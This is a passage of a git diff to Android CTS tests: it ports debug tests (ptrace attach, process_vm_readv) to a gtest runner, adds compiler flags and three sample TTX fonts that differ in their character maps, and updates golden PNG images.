-extern "C" jboolean Java_android_debug_cts_DebugTest_processVmReadvNullptr(JNIEnv *, jclass) {
+TEST(DebugTest, processVmReadvNullptr) {
// Make sure reading unallocated memory behaves reasonably.
- return run_test([](pid_t parent) {
+ run_test([](pid_t parent) {
long destination;
iovec local = {&destination, sizeof destination};
iovec remote = {nullptr, sizeof(long)};
diff --git a/tests/tests/debug/src/android/debug/cts/DebugTest.java b/tests/tests/debug/src/android/debug/cts/DebugTest.java
index ca55d9c..993f02b 100644
--- a/tests/tests/debug/src/android/debug/cts/DebugTest.java
+++ b/tests/tests/debug/src/android/debug/cts/DebugTest.java
@@ -16,26 +16,10 @@
package android.debug.cts;
-import junit.framework.TestCase;
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
-public class DebugTest extends TestCase {
-
- static {
- System.loadLibrary("debugtest");
- }
-
- public static native boolean ptraceAttach();
- public void test_ptraceAttach() {
- assertEquals(true, ptraceAttach());
- }
-
- public static native boolean processVmReadv();
- public void test_processVmReadv() {
- assertEquals(true, processVmReadv());
- }
-
- public static native boolean processVmReadvNullptr();
- public void test_processVmReadvNullptr() {
- assertEquals(true, processVmReadvNullptr());
- }
-}
+@RunWith(GtestRunner.class)
+@TargetLibrary("debugtest")
+public class DebugTest {}
diff --git a/tests/tests/dynamic_linker/Android.mk b/tests/tests/dynamic_linker/Android.mk
index 97518bd..fead807 100644
--- a/tests/tests/dynamic_linker/Android.mk
+++ b/tests/tests/dynamic_linker/Android.mk
@@ -18,6 +18,7 @@
LOCAL_MODULE := libdynamiclinker_native_lib_a
LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := native_lib_a.cpp
+LOCAL_CFLAGS := -Wall -Werror
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
LOCAL_SDK_VERSION := 25
LOCAL_NDK_STL_VARIANT := c++_static
@@ -28,6 +29,7 @@
LOCAL_MODULE := libdynamiclinker_native_lib_b
LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := native_lib_b.cpp
+LOCAL_CFLAGS := -Wall -Werror
LOCAL_C_INCLUDES := $(JNI_H_INCLUDE)
LOCAL_SDK_VERSION := 25
LOCAL_NDK_STL_VARIANT := c++_static
diff --git a/tests/tests/graphics/assets/a3em.ttx b/tests/tests/graphics/assets/a3em.ttx
new file mode 100644
index 0000000..d3b9e16
--- /dev/null
+++ b/tests/tests/graphics/assets/a3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="1em"/>
+ <GlyphID id="2" name="3em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="1em" width="1000" lsb="93"/>
+ <mtx name="3em" width="3000" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="3em" />
+ <map code="0x0062" name="1em" />
+ <map code="0x0063" name="1em" />
+ <map code="0x0064" name="1em" />
+ <map code="0x0065" name="1em" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/b3em.ttx b/tests/tests/graphics/assets/b3em.ttx
new file mode 100644
index 0000000..b5a77ef
--- /dev/null
+++ b/tests/tests/graphics/assets/b3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="1em"/>
+ <GlyphID id="2" name="3em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="1em" width="1000" lsb="93"/>
+ <mtx name="3em" width="3000" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="1em" />
+ <map code="0x0062" name="3em" />
+ <map code="0x0063" name="1em" />
+ <map code="0x0064" name="1em" />
+ <map code="0x0065" name="1em" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/assets/c3em.ttx b/tests/tests/graphics/assets/c3em.ttx
new file mode 100644
index 0000000..f5ed8e5
--- /dev/null
+++ b/tests/tests/graphics/assets/c3em.ttx
@@ -0,0 +1,187 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+ <GlyphOrder>
+ <GlyphID id="0" name=".notdef"/>
+ <GlyphID id="1" name="1em"/>
+ <GlyphID id="2" name="3em"/>
+ </GlyphOrder>
+
+ <head>
+ <tableVersion value="1.0"/>
+ <fontRevision value="1.0"/>
+ <checkSumAdjustment value="0x640cdb2f"/>
+ <magicNumber value="0x5f0f3cf5"/>
+ <flags value="00000000 00000011"/>
+ <unitsPerEm value="1000"/>
+ <created value="Fri Mar 17 07:26:00 2017"/>
+ <macStyle value="00000000 00000000"/>
+ <lowestRecPPEM value="7"/>
+ <fontDirectionHint value="2"/>
+ <glyphDataFormat value="0"/>
+ </head>
+
+ <hhea>
+ <tableVersion value="1.0"/>
+ <ascent value="1000"/>
+ <descent value="-200"/>
+ <lineGap value="0"/>
+ <caretSlopeRise value="1"/>
+ <caretSlopeRun value="0"/>
+ <caretOffset value="0"/>
+ <reserved0 value="0"/>
+ <reserved1 value="0"/>
+ <reserved2 value="0"/>
+ <reserved3 value="0"/>
+ <metricDataFormat value="0"/>
+ </hhea>
+
+ <maxp>
+ <tableVersion value="0x10000"/>
+ <maxZones value="0"/>
+ <maxTwilightPoints value="0"/>
+ <maxStorage value="0"/>
+ <maxFunctionDefs value="0"/>
+ <maxInstructionDefs value="0"/>
+ <maxStackElements value="0"/>
+ <maxSizeOfInstructions value="0"/>
+ <maxComponentElements value="0"/>
+ </maxp>
+
+ <OS_2>
+ <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+ will be recalculated by the compiler -->
+ <version value="3"/>
+ <xAvgCharWidth value="594"/>
+ <usWeightClass value="400"/>
+ <usWidthClass value="5"/>
+ <fsType value="00000000 00001000"/>
+ <ySubscriptXSize value="650"/>
+ <ySubscriptYSize value="600"/>
+ <ySubscriptXOffset value="0"/>
+ <ySubscriptYOffset value="75"/>
+ <ySuperscriptXSize value="650"/>
+ <ySuperscriptYSize value="600"/>
+ <ySuperscriptXOffset value="0"/>
+ <ySuperscriptYOffset value="350"/>
+ <yStrikeoutSize value="50"/>
+ <yStrikeoutPosition value="300"/>
+ <sFamilyClass value="0"/>
+ <panose>
+ <bFamilyType value="0"/>
+ <bSerifStyle value="0"/>
+ <bWeight value="5"/>
+ <bProportion value="0"/>
+ <bContrast value="0"/>
+ <bStrokeVariation value="0"/>
+ <bArmStyle value="0"/>
+ <bLetterForm value="0"/>
+ <bMidline value="0"/>
+ <bXHeight value="0"/>
+ </panose>
+ <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+ <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+ <achVendID value="UKWN"/>
+ <fsSelection value="00000000 01000000"/>
+ <usFirstCharIndex value="32"/>
+ <usLastCharIndex value="122"/>
+ <sTypoAscender value="800"/>
+ <sTypoDescender value="-200"/>
+ <sTypoLineGap value="200"/>
+ <usWinAscent value="1000"/>
+ <usWinDescent value="200"/>
+ <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+ <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+ <sxHeight value="500"/>
+ <sCapHeight value="700"/>
+ <usDefaultChar value="0"/>
+ <usBreakChar value="32"/>
+ <usMaxContext value="0"/>
+ </OS_2>
+
+ <hmtx>
+ <mtx name=".notdef" width="500" lsb="93"/>
+ <mtx name="1em" width="1000" lsb="93"/>
+ <mtx name="3em" width="3000" lsb="93"/>
+ </hmtx>
+
+ <cmap>
+ <tableVersion version="0"/>
+ <cmap_format_4 platformID="3" platEncID="10" language="0">
+ <map code="0x0061" name="1em" />
+ <map code="0x0062" name="1em" />
+ <map code="0x0063" name="3em" />
+ <map code="0x0064" name="1em" />
+ <map code="0x0065" name="1em" />
+ </cmap_format_4>
+ </cmap>
+
+ <loca>
+ <!-- The 'loca' table will be calculated by the compiler -->
+ </loca>
+
+ <glyf>
+ <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+ </glyf>
+
+ <name>
+ <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+ Copyright (C) 2017 The Android Open Source Project
+ </namerecord>
+ <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+ Regular
+ </namerecord>
+ <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+ Sample Font
+ </namerecord>
+ <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+ SampleFont-Regular
+ </namerecord>
+ <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ </namerecord>
+ <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+ http://www.apache.org/licenses/LICENSE-2.0
+ </namerecord>
+ </name>
+
+ <post>
+ <formatType value="3.0"/>
+ <italicAngle value="0.0"/>
+ <underlinePosition value="-75"/>
+ <underlineThickness value="50"/>
+ <isFixedPitch value="0"/>
+ <minMemType42 value="0"/>
+ <maxMemType42 value="0"/>
+ <minMemType1 value="0"/>
+ <maxMemType1 value="0"/>
+ </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
index aeea02c..1379e48 100644
--- a/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
+++ b/tests/tests/graphics/jni/android_graphics_cts_SyncTest.cpp
@@ -17,6 +17,7 @@
#define LOG_TAG "SyncTest"
+#include <errno.h>
#include <poll.h>
#include <unistd.h>
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
index 38339b7..32a7516 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_drawable_scale_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
index be487d1..6cafa84 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_clip_path_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
index 943fce5..b0b6eb5 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_create_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
index b46363e..9f60a31 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_delete_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
index 01c445c..452e3ab 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_evenodd_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
index 739eea1..767a3e1 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_filltype_nonzero_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
index 4617f62..859df7e 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_clamp_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
index 4d6b84d..78ef42b 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
index c6540e8..29aee85 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
index 491e73e..1c13c30 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_2_repeat_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
index e335a92..f2cb106 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
index 57f2ae3..34e0571 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_gradient_3_mirror_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
index e74c181..c9702c9 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_group_clip_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
index 7450751..b0af7d4 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_heart_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
index d010d79..e779718 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
index 5ada060..2fbf79d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_random_path_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
index 5af7090..060c4b9 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_1_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
index 24b9662..b8fe74d 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_a_2_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
index c9677a6..9e92c8a 100644
--- a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
+++ b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_cq_golden.png
Binary files differ
diff --git a/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png b/tests/tests/graphics/res/drawable-nodpi/vector_icon_repeated_st_golden.png
index 8882a7a..0262e57 100644
